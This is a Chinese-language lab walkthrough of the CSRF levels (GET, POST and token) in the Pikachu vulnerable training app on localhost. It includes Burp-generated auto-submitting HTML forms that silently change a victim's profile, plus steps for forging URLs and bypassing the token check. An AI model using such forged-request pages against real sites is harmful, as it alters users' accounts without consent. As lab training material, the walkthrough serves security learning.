SCRF(get)
查看提示,了解到了一些用户和其密码,登录我们老大kobe的账户:
点击修改信息用burp抓包,
使用SCRF HTML生成器,生成一段url,将其中的phonenum改为666666
将生成的url发送给被攻击者
http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfget/csrf_get.php
可以看到被攻击者的phonenum被修改:
SCRF(post)
同样还是先修改信息,抓包看一下:
此处为post传参,url不再显示,无法在使用伪造url的方法攻击。可以将生成的SCRF HTML放入自己写的HTML文件中,放在服务器上,并给用户请求者个html的链接
需要构造的SCRF.html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="999999" />
<input type="hidden" name="add" value="nba lakes" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="222222" />
<input type="hidden" name="add" value="nba lakes" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
将写好的html文件放在pikachu目录下
访问该url
http://127.0.0.1:8080/pikachu-master/SCRF.html
点击submit request,完成攻击,可看到手机号被修改
SCRF(token)
与前面相同修改信息,抓包,看抓到的包中的数据,发现了token,删除token,发现不能修改。
这关需要用到burp中的插件SCRF Token Tracker,设置如下:
开启插件。将phonenum改为123456
可看到成功修改,攻击成功。